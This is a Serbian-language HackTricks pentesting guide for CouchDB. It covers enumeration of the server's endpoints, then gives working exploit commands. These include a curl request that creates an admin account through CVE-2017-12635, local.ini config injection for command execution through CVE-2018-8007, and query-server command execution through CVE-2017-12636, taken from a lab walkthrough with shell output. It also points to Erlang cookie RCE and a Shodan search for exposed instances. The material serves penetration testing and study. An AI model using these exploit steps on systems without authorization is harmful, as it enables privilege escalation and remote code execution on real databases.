5984,6984 - Pentesting CouchDB

Support HackTricks

Osnovne informacije

CouchDB je svestrana i moćna baza podataka orijentisana na dokumente koja organizuje podatke koristeći strukturu mapa ključ-vrednost unutar svakog dokumenta. Polja unutar dokumenta mogu biti predstavljena kao ključ/vrednost parovi, liste ili mape, pružajući fleksibilnost u skladištenju i preuzimanju podataka.

Svaki dokument koji se čuva u CouchDB dobija jedinstveni identifikator (_id) na nivou dokumenta. Pored toga, svaka izmena koja se izvrši i sačuva u bazi podataka dobija broj revizije (_rev). Ovaj broj revizije omogućava efikasno praćenje i upravljanje promenama, olakšavajući preuzimanje i sinhronizaciju podataka unutar baze podataka.

Podrazumevani port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatska Enumeracija

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Ručna Enumeracija

Baner

curl http://IP:5984/

Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati kao jedan od sledećih:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Napomena da ako prilikom pristupa root-u couchdb dobijete 401 Unauthorized sa nečim poput: {"error":"unauthorized","reason":"Authentication required."} nećete moći da pristupite baneru ili bilo kojem drugom kraju.

Info Enumeration

Ovo su krajevi gde možete pristupiti sa GET zahtevom i izvući neke zanimljive informacije. Možete pronaći više krajeva i detaljnije opise u couchdb dokumentaciji.

  • /_active_tasks Lista aktivnih zadataka, uključujući tip zadatka, ime, status i ID procesa.

  • /_all_dbs Vraća listu svih baza podataka u CouchDB instanci.

  • /_cluster_setup Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera.

  • /_db_updates Vraća listu svih događaja u bazi podataka u CouchDB instanci. Postojanje baze podataka _global_changes je neophodno za korišćenje ovog kraja.

  • /_membership Prikazuje čvorove koji su deo klastera kao cluster_nodes. Polje all_nodes prikazuje sve čvorove o kojima ovaj čvor zna, uključujući one koji su deo klastera.

  • /_scheduler/jobs Lista zadataka replikacije. Svaki opis zadatka uključuje informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i nekoliko drugih stvari.

  • /_scheduler/docs Lista stanja replikacionih dokumenata. Uključuje informacije o svim dokumentima, čak i u completed i failed stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Krajnja tačka /_node/{node-name} može se koristiti za potvrdu imena Erlang čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate /_node/_local da biste dobili ove informacije.

  • /_node/{node-name}/_stats Resurs _stats vraća JSON objekat koji sadrži statistiku za pokrenuti server. Literalni string _local služi kao alias za lokalno ime čvora, tako da se za sve URL-ove statistike, {node-name} može zameniti sa _local, da bi se interagovalo sa statistikama lokalnog čvora.

  • /_node/{node-name}/_system Resurs _system vraća JSON objekat koji sadrži razne sistemske statistike za pokrenuti server_._ Možete koristiti ___local kao {node-name} da dobijete informacije o trenutnom čvoru.

  • /_node/{node-name}/_restart

  • /_up Potvrđuje da je server aktivan, radi i spreman da odgovori na zahteve. Ako je maintenance_mode true ili nolb, krajnja tačka će vratiti 404 odgovor.

  • /_uuids Zahteva jedan ili više Univerzalno Jedinstvenih Identifikatora (UUID) iz CouchDB instance.

  • /_reshard Vraća broj završenih, neuspešnih, aktivnih, zaustavljenih i ukupnih zadataka zajedno sa stanjem reshardinga na klasteru.

Zanimljivije informacije mogu se izvući kao što je objašnjeno ovde: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

Ako taj zahtev odgovara sa 401 neovlašćen, onda su vam potrebne validne akreditive za pristup bazi podataka:

curl -X GET http://user:password@IP:5984/_all_dbs

Da biste pronašli važeće akreditive, mogli biste pokušati bruteforce the service.

Ovo je primer couchdb odgovora kada imate dovoljno privilegija da listate baze podataka (To je samo lista db-ova):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

Možete dobiti neke informacije o bazi podataka (kao što su broj fajlova i veličine) pristupajući imenu baze podataka:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista dokumenata

Nabrojte svaki unos unutar baze podataka

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Pročitaj Dokument

Pročitaj sadržaj dokumenta unutar baze podataka:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, mogli biste napraviti admin korisnika sa kredencijalima hacktricks:hacktricks sa sledećim zahtevom:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Više informacija o ovoj ranjivosti ovde.

CouchDB RCE

Pregled sigurnosti Erlang kolačića

Primer odavde.

U dokumentaciji CouchDB, posebno u odeljku koji se odnosi na podešavanje klastera (link), raspravlja se o korišćenju portova od strane CouchDB u režimu klastera. Pominje se da, kao u samostalnom režimu, port 5984 se koristi. Pored toga, port 5986 je za lokalne API-je, a što je važno, Erlang zahteva TCP port 4369 za Erlang Port Mapper Daemon (EPMD), koji olakšava komunikaciju između čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu gde je svaki čvor međusobno povezan sa svim ostalim čvorovima.

Ključna sigurnosna preporuka se ističe u vezi sa portom 4369. Ako je ovaj port dostupan preko Interneta ili bilo koje nepouzdane mreže, sigurnost sistema se u velikoj meri oslanja na jedinstveni identifikator poznat kao "kolačić." Ovaj kolačić deluje kao zaštita. Na primer, u datoj listi procesa, može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog sistema.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za Remote Code Execution (RCE) u kontekstu Erlang sistema, dostupna je posvećena sekcija za dalju lektiru. Ona detaljno opisuje metodologije za korišćenje Erlang kolačića na neovlašćen način kako bi se postigla kontrola nad sistemima. Možete istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde.

Iskorišćavanje CVE-2018-8007 kroz modifikaciju local.ini

Primer odavde.

Nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, istražena je, otkrivajući da iskorišćavanje zahteva prava za pisanje na local.ini datoteku. Iako nije direktno primenljivo na inicijalni ciljni sistem zbog bezbednosnih ograničenja, izvršene su modifikacije kako bi se omogućio pristup za pisanje na local.ini datoteku u svrhe istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.

Prvo, okruženje se priprema osiguravajući da je local.ini datoteka zapisiva, što se proverava listanjem dozvola:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Da bi se iskoristila ranjivost, izvršava se curl komanda, koja cilja cors/origins konfiguraciju u local.ini. Ovo ubacuje novu origin zajedno sa dodatnim komandama pod [os_daemons] sekcijom, sa ciljem izvršavanja proizvoljnog koda:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Kasnija verifikacija pokazuje injektovanu konfiguraciju u local.ini, upoređujući je sa rezervnom kopijom kako bi se istakle promene:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

U početku, očekivana datoteka (/tmp/0xdf) ne postoji, što ukazuje na to da injektovana komanda još nije izvršena. Dalja istraga otkriva da su procesi povezani sa CouchDB u radu, uključujući jedan koji bi potencijalno mogao izvršiti injektovanu komandu:

root@canape:/home/homer/bin# ps aux | grep couch

Prekidom identifikovanog CouchDB procesa i omogućavanjem sistemu da ga automatski ponovo pokrene, pokreće se izvršenje injektovane komande, što je potvrđeno postojanjem prethodno nedostajuće datoteke:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Ova eksploracija potvrđuje izvodljivost eksploatacije CVE-2018-8007 pod specifičnim uslovima, posebno zahtevom za zapisivim pristupom local.ini datoteci. Pruženi primeri koda i proceduralni koraci nude jasan vodič za replikaciju eksploata u kontrolisanom okruženju.

Za više detalja o CVE-2018-8007, pogledajte savetovanje od mdsec: CVE-2018-8007.

Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini

Primer odavde.

Ranljivost poznata kao CVE-2017-12636 je istražena, koja omogućava izvršavanje koda putem CouchDB procesa, iako specifične konfiguracije mogu sprečiti njenu eksploataciju. I pored brojnih referenci na Proof of Concept (POC) dostupnih na mreži, potrebne su prilagodbe za eksploataciju ranjivosti na CouchDB verziji 2, koja se razlikuje od uobičajeno ciljanih verzija 1.x. Početni koraci uključuju verifikaciju verzije CouchDB i potvrđivanje odsustva očekivane putanje servera za upite:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Da bi se prilagodila CouchDB verziji 2.0, koristi se novi put:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Pokušaji dodavanja i pozivanja novog servera za upite naišli su na greške vezane za dozvole, što je naznačeno sledećim izlazom:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Dalja istraga je otkrila probleme sa dozvolama za local.ini datoteku, koja nije mogla da se piše. Modifikovanjem dozvola datoteke sa root ili homer pristupom, postalo je moguće nastaviti:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Kasniji pokušaji dodavanja servera za upite su uspeli, što je potvrđeno odsustvom poruka o grešci u odgovoru. Uspješna modifikacija local.ini datoteke je potvrđena kroz poređenje datoteka:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Proces se nastavio kreiranjem baze podataka i dokumenta, nakon čega je usledio pokušaj izvršavanja koda putem prilagođenog prikaza mapiranja na novonadded server za upite:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A rezime sa alternativnim payload-om pruža dodatne uvide u eksploataciju CVE-2017-12636 pod specifičnim uslovima. Korisni resursi za eksploataciju ove ranjivosti uključuju:

Shodan

  • port:5984 couchdb

Reference

Podržite HackTricks

Last updated